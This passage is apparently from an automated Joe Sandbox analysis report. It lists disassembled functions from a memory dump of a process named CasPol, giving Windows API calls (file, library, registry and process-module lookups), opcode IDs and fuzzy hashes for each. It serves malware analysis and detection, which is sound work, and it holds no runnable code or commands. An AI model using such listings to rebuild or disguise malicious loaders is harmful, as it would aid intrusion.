                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT ref: 0040ECF9
                                                                                                                                                                                                    • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 0040EDC0
                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5), ref: 00410530
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00410654
                                                                                                                                                                                                    • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000), ref: 004096EE
                                                                                                                                                                                                    • Part of subcall function 0040973C: GetLastError.KERNEL32 ref: 00409750
                                                                                                                                                                                                    • Part of subcall function 0040973C: _snwprintf.MSVCRT ref: 0040977D
                                                                                                                                                                                                    • Part of subcall function 0040973C: MessageBoxW.USER32(?,?,Error,00000030), ref: 00409796
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Handle$??2@??3@CloseCreateErrorFileLastMessage_snwprintf
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1381354015-0
                                                                                                                                                                                                  • Opcode ID: 8fbfc2f348dbe95ddd4b5a009659ef379d3a5d6a1ec684b3882d32b59d0f1ff8
                                                                                                                                                                                                  • Instruction ID: c777e68e994987bb064ab7fb99de871126f79ef1b866bcb434911d427814d160
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8fbfc2f348dbe95ddd4b5a009659ef379d3a5d6a1ec684b3882d32b59d0f1ff8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BE417231A00204EFCB25AF65C885A9E77B6EF84711F20446FF446A7291C7B99EC0DE59
                                                                                                                                                                                                  Function 0040B1AB Relevance: 2.5, APIs: 2, Instructions: 14COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1294909896-0
                                                                                                                                                                                                  • Opcode ID: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                                                                                                                                  • Instruction ID: 7f33cc2486ffea160e999b9abaf125df84647c5341351ad01334bd221cd3bada
                                                                                                                                                                                                  • Opcode Fuzzy Hash: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 32D042B0404B008ED7B0DF39D401602BBF0AB093143118D2E90AAC2A50E775A0149F08
                                                                                                                                                                                                  Function 004136C0 Relevance: 1.7, APIs: 1, Instructions: 163COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 47b7cceb40ac73e48e091e39f89a81a5349c65788578bfc7b3808e4b699817ff
                                                                                                                                                                                                  • Instruction ID: 68238382b965d6cf35967491492c160b6f6d54887ef21f0023ff885919cfaa00
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 47b7cceb40ac73e48e091e39f89a81a5349c65788578bfc7b3808e4b699817ff
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 695126B5A00209AFCB14DFD4C884CEFBBB9FF88705B14C559F512AB254E735AA46CB60
                                                                                                                                                                                                  Function 00403988 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00403A16: memset.MSVCRT ref: 00403A55
                                                                                                                                                                                                    • Part of subcall function 0040A02C: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000), ref: 0040A044
                                                                                                                                                                                                    • Part of subcall function 0040A02C: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                                                                                                                                    • Part of subcall function 0040A02C: CloseHandle.KERNEL32(00000000), ref: 0040A061
                                                                                                                                                                                                  • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 004039D4
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$Time$CloseCompareCreateHandlememset
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2154303073-0
                                                                                                                                                                                                  • Opcode ID: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                                                                                                                                  • Instruction ID: d476be81a684c5cf971044fbd14bb177a9e73989d843208b34704cc982626f94
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 11111CB6D00218ABCB11EFA5D9415DEBBB9EF44315F20407BE841F7281DA389F45CB95
                                                                                                                                                                                                  Function 004135F7 Relevance: 1.5, APIs: 1, Instructions: 44libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004135E0: FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,000000F1,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 0041362A
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3150196962-0
                                                                                                                                                                                                  • Opcode ID: 095a0049c7a0b0aa8adc47b9682ac82dede396c8921c9c5897dae779e37db889
                                                                                                                                                                                                  • Instruction ID: 35a9ad0fe6b4507ee66bae46934dcfd2e139bf0842d10804986ce3ee8b034d80
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 095a0049c7a0b0aa8adc47b9682ac82dede396c8921c9c5897dae779e37db889
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BBF0A4311447126AE6306B7AAC02BE762849F00725F10862EB425D55D1EFA8D5C046AC
                                                                                                                                                                                                  Function 004062A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000), ref: 004062C2
                                                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$PointerRead
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3154509469-0
                                                                                                                                                                                                  • Opcode ID: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                                                                                                                                  • Instruction ID: d794e9b43e5f56b2d2e2073d65b81241c22a9a75ad02cc9b2284f18e77a2fe0f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 45E01276100100FFE6619B05DC06F57FBB9FBD4710F14883DB59596174C6326851CB25
                                                                                                                                                                                                  Function 00414561 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 00414588
                                                                                                                                                                                                    • Part of subcall function 004143F1: memset.MSVCRT ref: 00414410
                                                                                                                                                                                                    • Part of subcall function 004143F1: _itow.MSVCRT ref: 00414427
                                                                                                                                                                                                    • Part of subcall function 004143F1: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00414436
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: PrivateProfile$StringWrite_itowmemset
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4232544981-0
                                                                                                                                                                                                  • Opcode ID: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                                                                                                                                  • Instruction ID: 104e910b762de94586eb11e4c264cf061db1895f8dce3fe8c281d71359574313
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8EE09232000209ABDF125F91EC01AA93B66FF54315F548469F95C05520D33295B0AB59
                                                                                                                                                                                                  Function 00444A54 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FreeLibrary.KERNELBASE(?,?,004452FB,?,?,?,0040333C,?), ref: 00444A65
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                                                  • Opcode ID: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                                                                                                                                  • Instruction ID: 9043d1e372537a54137ae43dcd20834ee918eeaa55a47e8e1dedab4d47514996
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E2E0F6B5900B018FD3708F1BE944406FBF8BFE56113108A1FD4AAC2A24D7B4A1898F54
                                                                                                                                                                                                  Function 00413F27 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(00000000,psapi.dll,00000000,00413F2F,00000000,00413E1F,00000000,?), ref: 00413F6F
                                                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                                                                                                                                    • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                                                                                                                                  • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,00413E1F,00000104,00413E1F,00000000,?), ref: 00413F46
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc$FileModuleName
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3859505661-0
                                                                                                                                                                                                  • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                                                                                                                  • Instruction ID: eb737a8a997ed41d0f7a348c178ce8d4b8225706e43eb580f21eee6dbde26bc7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6FD02231B083007BEA20EE70CC00FCBA2F47F40F12F008C5AB191D2080C374C9495305
                                                                                                                                                                                                  Function 0040A2EF Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileRead
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2738559852-0
                                                                                                                                                                                                  • Opcode ID: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                                                                                                                                  • Instruction ID: df780c2d30ec27a436fe2e8938b9b3026ee6fdf868a35847a3a0dbf755fefbc9
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6DD0C97505020DFBDF01CF81DC06FDD7B7DFB05359F108054BA0095060C7759A15AB55
                                                                                                                                                                                                  Function 0040A30E Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • WriteFile.KERNELBASE(?,00000009,?,00000000,00000000), ref: 0040A325
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileWrite
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3934441357-0
                                                                                                                                                                                                  • Opcode ID: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                                                                                                                                  • Instruction ID: 3280266517864b8de079c100525e5277478ec149926fcdeece843fe2c70d8c86
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CFD0C93501020DFBDF01CF81DC06FDD7BBDFB04359F108054BA1095060D7B59A20AB94
                                                                                                                                                                                                  Function 00413D29 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FreeLibrary.KERNELBASE(00000000,004457F2,00000000,000001F7,00000000), ref: 00413D30
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                                                  • Opcode ID: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                                                                                                                                  • Instruction ID: 8f6381f957debc367d4a0444659be52de1bfd3a154b3998764173f6a98a011bd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1DD0C9765002229BDB10AF26EC057857378FF00712B110425E810B7594D778BEE68ADC
                                                                                                                                                                                                  Function 004096C3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateFile
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 823142352-0
                                                                                                                                                                                                  • Opcode ID: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                                                                                                                                  • Instruction ID: 15e4bfb1af8ab284213ec8af4af1ca3ed9a3c322684c6da9746693c795416a08
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A8C092B0280200BEFE224B10EC15F36755CE744700F2008247E40F40E0C1605E108524
                                                                                                                                                                                                  Function 004096DC Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000), ref: 004096EE
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateFile
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 823142352-0
                                                                                                                                                                                                  • Opcode ID: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                                                                                                                                  • Instruction ID: 13aef0f41518da9c32968a96bed17b980f0e8f352a8d1793a660c4ee04e7d177
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B8C012F02903007EFF204B10AC0AF37755DF784700F2048207E40F40E1C2B15C008524
                                                                                                                                                                                                  Function 0040B04B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ??3@
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 613200358-0
                                                                                                                                                                                                  • Opcode ID: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                                                                                                                                  • Instruction ID: 6ff791ec813821c2e9e24527ebed0d702daabad41f6d5d50af9b89e3d4ad0470
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: ADC09BB15117014BE7305F15D40471373D49F11727F318C1DA5D1914C2D77CD4408518
                                                                                                                                                                                                  Function 004135E0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                                                  • Opcode ID: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                                                                                                                                  • Instruction ID: 97b2006ec1e2dd28fddd19cbcf35086f2a6b1d7d6d8af37d8808782836c913ed
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C1C04C355107129BE7318F22C849793B3E8BB00767F40C818A56A85454D7BCE594CE28
                                                                                                                                                                                                  Function 0041493C Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • EnumResourceNamesW.KERNEL32(?,?,Function_000148B6,00000000), ref: 0041494B
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: EnumNamesResource
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3334572018-0
                                                                                                                                                                                                  • Opcode ID: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                                                                                                                                  • Instruction ID: 4cd0fc1a45efe5f4a77ff86a676eea9814a6d41529a344ef69fdb726e0e13cac
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5CC09B355943819FD711DF108C05F1A76D5BF95705F104C397151940A0C7614014A60A
                                                                                                                                                                                                  Function 0044DEA5 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FreeLibrary.KERNELBASE(?), ref: 0044DEB6
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                                                  • Opcode ID: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                                                                                                                                  • Instruction ID: c12df66a07a312a107e4de7a98dbd39cb061029a89fa16cd2619b088cce9516a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 95C04C35D10311ABFB31AB11ED4975232A5BB00717F52006494128D065D7B8E454CB2D
                                                                                                                                                                                                  Function 0040AEBE Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindClose.KERNELBASE(?,0040AE21,?,00000000,00445EF5,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AEC8
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseFind
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1863332320-0
                                                                                                                                                                                                  • Opcode ID: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                                                                                                                                  • Instruction ID: 0a5868f0c47a417661f40efe111cada53839b745ef6d73ffe26d621af3302058
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 06C092341506058BD62C5F38DC9A42A77A0BF4A3303B40F6CA0F3D24F0E73888538A04
                                                                                                                                                                                                  Function 00414592 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegOpenKeyExW.KERNEL32(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Open
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 71445658-0
